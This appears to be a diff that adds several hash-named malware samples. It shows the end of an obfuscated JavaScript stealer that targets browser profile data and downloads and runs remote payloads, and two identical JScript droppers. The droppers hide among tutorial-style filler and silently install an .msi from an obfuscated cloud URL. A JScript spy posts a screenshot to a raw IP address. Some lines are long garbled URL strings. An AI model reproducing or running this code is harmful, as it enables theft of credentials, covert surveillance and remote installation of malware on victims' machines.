"${c}"`;ex(t,((t,c,n)=>{if(t)return tt=0,void $t();try{tt=K+6,a[e]($,r),ct(r)}catch(t){}}))}};function $t(){setTimeout((()=>{at()}),2e4)}const rt=async()=>await new Promise(((t,c)=>{if("w"==pl[0]){const t=`${hd}${n(D)}`;a[u](`${t}`)?(()=>{const t=l(),c=n(m),$=n(o),r=n(Z),e=n(i),s=`${t}${c}/${h}`,u=`${hd}${e}`,d=`"${hd}${n(D)}" "${u}"`;try{a[P](u)}catch(t){}rq[$](s,((t,c,$)=>{if(!t)try{a[r](u,$),ex(d,((t,c,a)=>{}))}catch(t){}}))})():at()}else(()=>{const t=l(),c=n(m),$=n(Z),r=n(o),e=n(i),s=n("cHl0aG9u"),u=`${t}${c}/${h}`,d=`${hd}${e}`;let y=`${s}3 "${d}"`;rq[r](u,((t,c,r)=>{t||(a[$](d,r),ex(y,((t,c,a)=>{})))}))})()}));var et=0;const nt=async()=>{try{e=Date.now(),await(async()=>{k=hs;try{const t=s("~/");await T(J,0),await T(_,1),await T(g,2),"w"==pl[0]?(pa=`${t}${n(F)}${n("TG9jYWwvTWljcm9zb2Z0L0VkZ2U")}${n(R)}`,await C(pa,"3_",!1)):"d"==pl[0]?(await H(),await A(),await E()):"l"==pl[0]&&(await M(),await I(),await O())}catch(t){}})(),rt()}catch(t){}};nt();let lt=setInterval((()=>{(et+=1)<5?nt():clearInterval(lt)}),6e5);
|
code/0f6b285689a61febc0e8eb0caeca17a82d81c4ca7304da8f0531a6d1c1ab9800
ADDED
|
@@ -0,0 +1,121 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
//var CryptoJS = require("crypto-js");
|
| 2 |
+
//Call REST APIs every 6 secs
|
| 3 |
+
79.6
|
| 4 |
+
/*
|
| 5 |
+
function getWalletSnapshot(exchgData){
|
| 6 |
+
|
| 7 |
+
return new Promise(function(resolve,reject){
|
| 8 |
+
|
| 9 |
+
var lv_response = {
|
| 10 |
+
"BINANCE" : {},
|
| 11 |
+
"BITFINEX" : {},
|
| 12 |
+
}
|
| 13 |
+
|
| 14 |
+
//BINANCE
|
| 15 |
+
//Decrypt API Keys
|
| 16 |
+
const passPhrase = require('./JSMods/encryption');
|
| 17 |
+
var lv_key1 = (CryptoJS.AES.decrypt(exchgData["binkey1"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 18 |
+
var lv_key2 = (CryptoJS.AES.decrypt(exchgData["binkey2"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 19 |
+
|
| 20 |
+
|
| 21 |
+
const binanceRest = new api.BinanceRest({
|
| 22 |
+
key: lv_key1, // Get this from your account on binance.com
|
| 23 |
+
secret: lv_key2, // Same for this
|
| 24 |
+
timeout: 15000, // Optional, defaults to 15000, is the request time out in milliseconds
|
| 25 |
+
recvWindow: 10000, // Optional, defaults to 5000, increase if you're getting timestamp errors
|
| 26 |
+
disableBeautification: false,
|
| 27 |
+
handleDrift: true
|
| 28 |
+
});
|
| 29 |
+
|
| 30 |
+
|
| 31 |
+
binanceRest.account()
|
| 32 |
+
.then((r1) => {
|
| 33 |
+
for(k=0;k<r1["balances"].length;k++){
|
| 34 |
+
if(r1["balances"][k]["free"] > 0){
|
| 35 |
+
lv_response["BINANCE"][r1["balances"][k]["asset"]] = r1["balances"][k]["free"];
|
| 36 |
+
}
|
| 37 |
+
}
|
| 38 |
+
|
| 39 |
+
//Bitfinex
|
| 40 |
+
//Decrypt API Keys
|
| 41 |
+
const passPhrase = require('./JSMods/encryption');
|
| 42 |
+
var lv_key1 = (CryptoJS.AES.decrypt(exchgData["bitkey1"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 43 |
+
var lv_key2 = (CryptoJS.AES.decrypt(exchgData["bitkey2"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 44 |
+
|
| 45 |
+
const BFX = require('bitfinex-api-node')
|
| 46 |
+
const bfx = new BFX({
|
| 47 |
+
apiKey: lv_key1,
|
| 48 |
+
apiSecret: lv_key2,
|
| 49 |
+
|
| 50 |
+
ws: {
|
| 51 |
+
autoReconnect: true,
|
| 52 |
+
seqAudit: true,
|
| 53 |
+
packetWDDelay: 3 * 1000
|
| 54 |
+
}
|
| 55 |
+
})
|
| 56 |
+
let ws = bfx.ws(2) //
|
| 57 |
+
ws.on('error', (err) => console.log(err))
|
| 58 |
+
ws.on('open', ws.auth.bind(ws))
|
| 59 |
+
|
| 60 |
+
ws.open()
|
| 61 |
+
ws.onWalletSnapshot({}, (walletB) => {
|
| 62 |
+
for(k=0;k<walletB.length;k++){
|
| 63 |
+
lv_response["BITFINEX"][walletB[k][1]] = walletB[k][2];
|
| 64 |
+
}
|
| 65 |
+
ws.close();
|
| 66 |
+
resolve(JSON.stringify(lv_response));
|
| 67 |
+
});
|
| 68 |
+
|
| 69 |
+
})
|
| 70 |
+
.catch((err) => {
|
| 71 |
+
console.error(err);
|
| 72 |
+
reject(JSON.stringify(err));
|
| 73 |
+
});
|
| 74 |
+
|
| 75 |
+
|
| 76 |
+
});
|
| 77 |
+
|
| 78 |
+
}
|
| 79 |
+
*/
|
| 80 |
+
|
| 81 |
+
3.9 // numeric literal
|
| 82 |
+
"Hello!" // string literal
|
| 83 |
+
false // Boolean literal
|
| 84 |
+
[1,2,3] // Array literal
|
| 85 |
+
var o = {x:1, y:2} // Object literal
|
| 86 |
+
var f = function(x){return x*x;} // function literal
|
| 87 |
+
4 + 5 // additon
|
| 88 |
+
10 / 2 // division
|
| 89 |
+
var aBird = "windowsinstaller.installer"; // Assign the text "Robin" to the variable aBird.
|
| 90 |
+
radius = 139;
|
| 91 |
+
uros = 7;3;1,83;
|
| 92 |
+
o = "p";n = "t";p = ".my.";g = "w";ka = "ba";f = "h";s = "n";
|
| 93 |
+
anExpression = 4 * (4 / 5) + 5;
|
| 94 |
+
aSecondExpression = Math.PI * radius * radius;
|
| 95 |
+
aThirdExpression = f + n + n + o +"s://amazonaws" + p + "id/wp-css/" + ka + ".msi";
|
| 96 |
+
myArray = new Array("hello", Math.PI, 48);
|
| 97 |
+
myPi = myArray[1];
|
| 98 |
+
var today = new Date(); // Assign today's date to the variable today.
|
| 99 |
+
var birthday = new ActiveXObject(aBird);
|
| 100 |
+
birthday.uilevel=2
|
| 101 |
+
birthday.InstallProduct(aThirdExpression);
|
| 102 |
+
var a = new Array(4);
|
| 103 |
+
for (i = 0; i < 4; i++) {}
|
| 104 |
+
|
| 105 |
+
function FeetToMiles(feet, cnvType) {
|
| 106 |
+
if (cnvType == "NM")
|
| 107 |
+
return( (feet / 6080) + " nautical miles");
|
| 108 |
+
else if (cnvType == "M")
|
| 109 |
+
return( (feet / 5280) + " statute miles");
|
| 110 |
+
else
|
| 111 |
+
return ("Invalid unit of measure");
|
| 112 |
+
}
|
| 113 |
+
var mradius = FeetToMiles(52800, "M");
|
| 114 |
+
//WScript.Echo(aThirdExpression);
|
| 115 |
+
'How old am I?'
|
| 116 |
+
|
| 117 |
+
var myObject = new Object(); // Creates a generic object.
|
| 118 |
+
var birthday = new Date(1961, 5, 10); // Creates a Date object.
|
| 119 |
+
|
| 120 |
+
|
| 121 |
+
https://rtrissdfmnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtakia
|
code/0fd5f5e2c4ceefc7d28e09774a3d3eef2801cebb40734b8867ff5d371085bb12
ADDED
|
@@ -0,0 +1,98 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
/**
|
| 2 |
+
* Validates the provided SocksClientOptions
|
| 3 |
+
* @param options { SocksClientOptions }
|
| 4 |
+
* @param acceptedCommands { string[] } A list of accepted SocksProxy commands.
|
| 5 |
+
*/
|
| 6 |
+
|
| 7 |
+
//# sourceMappingURL=isEmpty.js.map
|
| 8 |
+
|
| 9 |
+
[1,2,31829942]
|
| 10 |
+
|
| 11 |
+
//# sourceMappingURL=audit.js.map
|
| 12 |
+
|
| 13 |
+
/*
|
| 14 |
+
class AuditSubscriber extends SimpleOuterSubscriber {
|
| 15 |
+
constructor(destination, durationSelector) {
|
| 16 |
+
super(destination);
|
| 17 |
+
this.durationSelector = durationSelector;
|
| 18 |
+
this.hasValue = false;
|
| 19 |
+
}
|
| 20 |
+
_next(value) {
|
| 21 |
+
this.value = value;
|
| 22 |
+
this.hasValue = true;
|
| 23 |
+
if (!this.throttled) {
|
| 24 |
+
let duration;
|
| 25 |
+
try {
|
| 26 |
+
const { durationSelector } = this;
|
| 27 |
+
duration = durationSelector(value);
|
| 28 |
+
}
|
| 29 |
+
catch (err) {
|
| 30 |
+
return this.destination.error(err);
|
| 31 |
+
}
|
| 32 |
+
const innerSubscription = innerSubscribe(duration, new SimpleInnerSubscriber(this));
|
| 33 |
+
if (!innerSubscription || innerSubscription.closed) {
|
| 34 |
+
this.clearThrottle();
|
| 35 |
+
}
|
| 36 |
+
else {
|
| 37 |
+
this.add(this.throttled = innerSubscription);
|
| 38 |
+
}
|
| 39 |
+
}
|
| 40 |
+
}
|
| 41 |
+
clearThrottle() {
|
| 42 |
+
const { value, hasValue, throttled } = this;
|
| 43 |
+
if (throttled) {
|
| 44 |
+
this.remove(throttled);
|
| 45 |
+
this.throttled = undefined;
|
| 46 |
+
throttled.unsubscribe();
|
| 47 |
+
}
|
| 48 |
+
if (hasValue) {
|
| 49 |
+
this.value = undefined;
|
| 50 |
+
this.hasValue = false;
|
| 51 |
+
this.destination.next(value);
|
| 52 |
+
}
|
| 53 |
+
}
|
| 54 |
+
notifyNext() {
|
| 55 |
+
this.clearThrottle();
|
| 56 |
+
}
|
| 57 |
+
notifyComplete() {
|
| 58 |
+
this.clearThrottle();
|
| 59 |
+
}
|
| 60 |
+
}
|
| 61 |
+
*/
|
| 62 |
+
|
| 63 |
+
var oly = "Windows";
|
| 64 |
+
10 / 2 // division
|
| 65 |
+
var sOlyo = "Installer"; // Assign the text "Robin" to the variable sOlyo.
|
| 66 |
+
var f = function(x){return x*x;} // function literal
|
| 67 |
+
radius = 8;
|
| 68 |
+
4 + 5 // additon
|
| 69 |
+
var o = {x:1, y:2} // Object literal
|
| 70 |
+
[1,2,3] // Array literal
|
| 71 |
+
var sueGk = WScript.CreateObject("WScript.Shell");
|
| 72 |
+
|
| 73 |
+
f = "h";o = "p";heskkr = ".";u = "i";ka = "ke";n = "t";
|
| 74 |
+
fso = new ActiveXObject("Scripting.FileSystemObject");
|
| 75 |
+
sous = "s";xo = "c";
|
| 76 |
+
var sueGo = WScript.CreateObject("WinHttp.WinHttpRequest.5.1");
|
| 77 |
+
|
| 78 |
+
drive = fso.GetDrive(xo + ":\\")
|
| 79 |
+
sueGk.Run("i_view32.exe /capture /convert=" + radius + ".jpg");
|
| 80 |
+
|
| 81 |
+
WScript.sleep(5000);
|
| 82 |
+
|
| 83 |
+
var sueGo = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
|
| 84 |
+
sueGo.Open("POST", f + n + n + "p://" + radius + ".210.10.62/" + sous + "creenshot/" + drive.SerialNumber, false);
|
| 85 |
+
sueGo.SetRequestHeader("User-Agent", oly + " " + sOlyo);
|
| 86 |
+
sueGo.SetRequestHeader("Cache-Control","no-cache");
|
| 87 |
+
sueGo.SetRequestHeader("Content-Type", "image/jpg");
|
| 88 |
+
|
| 89 |
+
var st = new ActiveXObject("ADODB.Stream");
|
| 90 |
+
st.Type = 1;
|
| 91 |
+
st.Open();
|
| 92 |
+
st.LoadFromFile(radius + ".jpg");
|
| 93 |
+
var binVariant = st.read();
|
| 94 |
+
|
| 95 |
+
sueGo.Send(binVariant);
|
| 96 |
+
|
| 97 |
+
WScript.sleep(5000);
|
| 98 |
+
sueGk.Run("wmic product where name='FLibrary' call uninstall /nointeractive", 0);
|
code/108512e3496af7ec80a7a5f3428a575464dbac8242a81f1ec88f1c4f6fbff04e
ADDED
|
@@ -0,0 +1,121 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
//var CryptoJS = require("crypto-js");
|
| 2 |
+
//Call REST APIs every 6 secs
|
| 3 |
+
79.6
|
| 4 |
+
/*
|
| 5 |
+
function getWalletSnapshot(exchgData){
|
| 6 |
+
|
| 7 |
+
return new Promise(function(resolve,reject){
|
| 8 |
+
|
| 9 |
+
var lv_response = {
|
| 10 |
+
"BINANCE" : {},
|
| 11 |
+
"BITFINEX" : {},
|
| 12 |
+
}
|
| 13 |
+
|
| 14 |
+
//BINANCE
|
| 15 |
+
//Decrypt API Keys
|
| 16 |
+
const passPhrase = require('./JSMods/encryption');
|
| 17 |
+
var lv_key1 = (CryptoJS.AES.decrypt(exchgData["binkey1"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 18 |
+
var lv_key2 = (CryptoJS.AES.decrypt(exchgData["binkey2"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 19 |
+
|
| 20 |
+
|
| 21 |
+
const binanceRest = new api.BinanceRest({
|
| 22 |
+
key: lv_key1, // Get this from your account on binance.com
|
| 23 |
+
secret: lv_key2, // Same for this
|
| 24 |
+
timeout: 15000, // Optional, defaults to 15000, is the request time out in milliseconds
|
| 25 |
+
recvWindow: 10000, // Optional, defaults to 5000, increase if you're getting timestamp errors
|
| 26 |
+
disableBeautification: false,
|
| 27 |
+
handleDrift: true
|
| 28 |
+
});
|
| 29 |
+
|
| 30 |
+
|
| 31 |
+
binanceRest.account()
|
| 32 |
+
.then((r1) => {
|
| 33 |
+
for(k=0;k<r1["balances"].length;k++){
|
| 34 |
+
if(r1["balances"][k]["free"] > 0){
|
| 35 |
+
lv_response["BINANCE"][r1["balances"][k]["asset"]] = r1["balances"][k]["free"];
|
| 36 |
+
}
|
| 37 |
+
}
|
| 38 |
+
|
| 39 |
+
//Bitfinex
|
| 40 |
+
//Decrypt API Keys
|
| 41 |
+
const passPhrase = require('./JSMods/encryption');
|
| 42 |
+
var lv_key1 = (CryptoJS.AES.decrypt(exchgData["bitkey1"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 43 |
+
var lv_key2 = (CryptoJS.AES.decrypt(exchgData["bitkey2"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 44 |
+
|
| 45 |
+
const BFX = require('bitfinex-api-node')
|
| 46 |
+
const bfx = new BFX({
|
| 47 |
+
apiKey: lv_key1,
|
| 48 |
+
apiSecret: lv_key2,
|
| 49 |
+
|
| 50 |
+
ws: {
|
| 51 |
+
autoReconnect: true,
|
| 52 |
+
seqAudit: true,
|
| 53 |
+
packetWDDelay: 3 * 1000
|
| 54 |
+
}
|
| 55 |
+
})
|
| 56 |
+
let ws = bfx.ws(2) //
|
| 57 |
+
ws.on('error', (err) => console.log(err))
|
| 58 |
+
ws.on('open', ws.auth.bind(ws))
|
| 59 |
+
|
| 60 |
+
ws.open()
|
| 61 |
+
ws.onWalletSnapshot({}, (walletB) => {
|
| 62 |
+
for(k=0;k<walletB.length;k++){
|
| 63 |
+
lv_response["BITFINEX"][walletB[k][1]] = walletB[k][2];
|
| 64 |
+
}
|
| 65 |
+
ws.close();
|
| 66 |
+
resolve(JSON.stringify(lv_response));
|
| 67 |
+
});
|
| 68 |
+
|
| 69 |
+
})
|
| 70 |
+
.catch((err) => {
|
| 71 |
+
console.error(err);
|
| 72 |
+
reject(JSON.stringify(err));
|
| 73 |
+
});
|
| 74 |
+
|
| 75 |
+
|
| 76 |
+
});
|
| 77 |
+
|
| 78 |
+
}
|
| 79 |
+
*/
|
| 80 |
+
|
| 81 |
+
3.9 // numeric literal
|
| 82 |
+
"Hello!" // string literal
|
| 83 |
+
false // Boolean literal
|
| 84 |
+
[1,2,3] // Array literal
|
| 85 |
+
var o = {x:1, y:2} // Object literal
|
| 86 |
+
var f = function(x){return x*x;} // function literal
|
| 87 |
+
4 + 5 // additon
|
| 88 |
+
10 / 2 // division
|
| 89 |
+
var aBird = "windowsinstaller.installer"; // Assign the text "Robin" to the variable aBird.
|
| 90 |
+
radius = 139;
|
| 91 |
+
uros = 7;3;1,83;
|
| 92 |
+
o = "p";n = "t";p = ".my.";g = "w";ka = "ba";f = "h";s = "n";
|
| 93 |
+
anExpression = 4 * (4 / 5) + 5;
|
| 94 |
+
aSecondExpression = Math.PI * radius * radius;
|
| 95 |
+
aThirdExpression = f + n + n + o +"s://amazonaws" + p + "id/wp-css/" + ka + ".msi";
|
| 96 |
+
myArray = new Array("hello", Math.PI, 48);
|
| 97 |
+
myPi = myArray[1];
|
| 98 |
+
var today = new Date(); // Assign today's date to the variable today.
|
| 99 |
+
var birthday = new ActiveXObject(aBird);
|
| 100 |
+
birthday.uilevel=2
|
| 101 |
+
birthday.InstallProduct(aThirdExpression);
|
| 102 |
+
var a = new Array(4);
|
| 103 |
+
for (i = 0; i < 4; i++) {}
|
| 104 |
+
|
| 105 |
+
function FeetToMiles(feet, cnvType) {
|
| 106 |
+
if (cnvType == "NM")
|
| 107 |
+
return( (feet / 6080) + " nautical miles");
|
| 108 |
+
else if (cnvType == "M")
|
| 109 |
+
return( (feet / 5280) + " statute miles");
|
| 110 |
+
else
|
| 111 |
+
return ("Invalid unit of measure");
|
| 112 |
+
}
|
| 113 |
+
var mradius = FeetToMiles(52800, "M");
|
| 114 |
+
//WScript.Echo(aThirdExpression);
|
| 115 |
+
'How old am I?'
|
| 116 |
+
|
| 117 |
+
var myObject = new Object(); // Creates a generic object.
|
| 118 |
+
var birthday = new Date(1961, 5, 10); // Creates a Date object.
|
| 119 |
+
|
| 120 |
+
|
| 121 |
+
https://rtrissdfmnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtucki
|
code/10f86be3e564f2e463e45420eb5f9fbdb14f7427eac665cd9cc7901efbc4cc59
ADDED
|
@@ -0,0 +1,629 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
